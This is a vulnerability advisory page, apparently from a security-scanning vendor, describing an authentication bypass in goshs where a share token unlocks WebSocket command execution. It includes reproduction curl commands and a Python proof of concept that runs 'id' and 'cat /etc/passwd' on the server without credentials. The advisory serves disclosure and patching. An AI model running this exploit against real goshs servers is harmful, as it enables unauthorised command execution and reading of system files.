Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-34581 — goshs

🟠 CVSS 8.1 — High ✅ No Known Exploit CWE-288 NVD
8.1
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

goshs has Auth Bypass via Share Token

Summary

When using the Share Token it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec.

Details

The BasicAuthMiddleware checks for a ?token= parameter before checking credentials. If the token exists in SharedLinks, the request passes through with no auth check at all. The handler then processes all query parameters — including ?ws (WebSocket) which has higher priority than ?token.

```go

// middleware.go:22-30 — token check runs FIRST

token := r.URL.Query().Get("token")

if token != "" {

_, ok := fs.SharedLinks[token]

if ok {

next.ServeHTTP(w, r) // Full auth bypass

return

}

}

// ... normal auth checks never reached

```

A share token is designed for single-file, time-limited downloads. But the middleware bypass grants access to everything — directory listing, file deletion, clipboard, WebSocket, and CLI command execution.

1. Create a webroot:

```bash

mkdir -p /tmp/goshs-webroot

echo "shareable file" > /tmp/goshs-webroot/shareable.txt

```

2. Start goshs with auth + TLS + CLI mode:

```bash

/tmp/goshs-test -d /tmp/goshs-webroot -b 'admin:password' -s -ss -c -p 8000

```

> CLI mode requires auth (-b) and TLS (-s -ss). This is the documented usage — not a weakened config.

3. Verify authentication is required:

```bash

curl -sk https://localhost:8000/

Not authorized

```

4. As a legitimate user, create a share link:

```bash

curl -sk -u admin:password 'https://localhost:8000/shareable.txt?share'

```

Response:

```json

{"urls":["https://127.0.0.1:8000/shareable.txt?token=gMP-w0hXRs-Q-FEZku63kA"]}

```

Save the token value (e.g., gMP-w0hXRs-Q-FEZku63kA).

5. Prove the token bypasses auth for WebSocket:

```bash

# Without token → 401 (blocked)

curl -sk -o /dev/null -w "%{http_code}" \

-H "Connection: Upgrade" -H "Upgrade: websocket" \

-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \

'https://localhost:8000/?ws'

# 401

# With token → 101 Switching Protocols (auth bypassed!)

curl -sk -o /dev/null -w "%{http_code}" \

-H "Connection: Upgrade" -H "Upgrade: websocket" \

-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \

'https://localhost:8000/?ws&token=gMP-w0hXRs-Q-FEZku63kA'

# 101

```

For a Full PoC, you can run the python file attached below, it will run id and cat /etc/passwd.

PoC

``` python

import json, ssl, websocket

TOKEN = "gMP-w0hXRs-Q-FEZku63kA" # ← replace with your token

ws = websocket.create_connection(

f"wss://localhost:8000/?ws&token={TOKEN}",

sslopt={"cert_reqs": ssl.CERT_NONE},

)

print("[+] Connected WITHOUT credentials!")

# Execute 'id'

ws.send('{"type":"command","Content":"id"}')

import time; time.sleep(1)

resp = json.loads(ws.recv())

print(f"Output: {resp['content']}")

# uid=501(youruser) gid=20(staff) ...

# Execute 'cat /etc/passwd'

ws.send('{"type":"command","Content":"cat /etc/passwd"}')

time.sleep(1)

resp = json.loads(ws.recv())

print(f"Output: {resp['content']}")

ws.close()

```

A patch is available at https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-34581 is classified as CWE-288: Authentication Bypass Using an Alternate Path. A secondary route into the application skips the authentication that the primary route enforces.

Affected software

CVE-2026-34581 is recorded against 2 packages.

  • github.com/patrickhener/goshs
  • goshs

Timeline and source

Published on 25 June 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Advisory)
nvd.nist.gov (Advisory)
github.com (Fix)
github.com (Web)

Other advisories for this package

github.com/patrickhener/goshs has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-288: Authentication Bypass Using an Alternate Path) in other software:

Details

Severity HIGH
CVSS Score 8.1
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
CWE CWE-288
Public Exploit ✅ No
Source NVD
Published 2026-06-25
Updated 2026-08-20
Modified 2026-06-25

Affected Packages

Software From version Fixed in
github.com/patrickhener/goshs — —
goshs — —

Similar Threats

Site Security Check

Is goshs part of your stack?

CVE-2026-34581 is rated CVSS 8.1 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓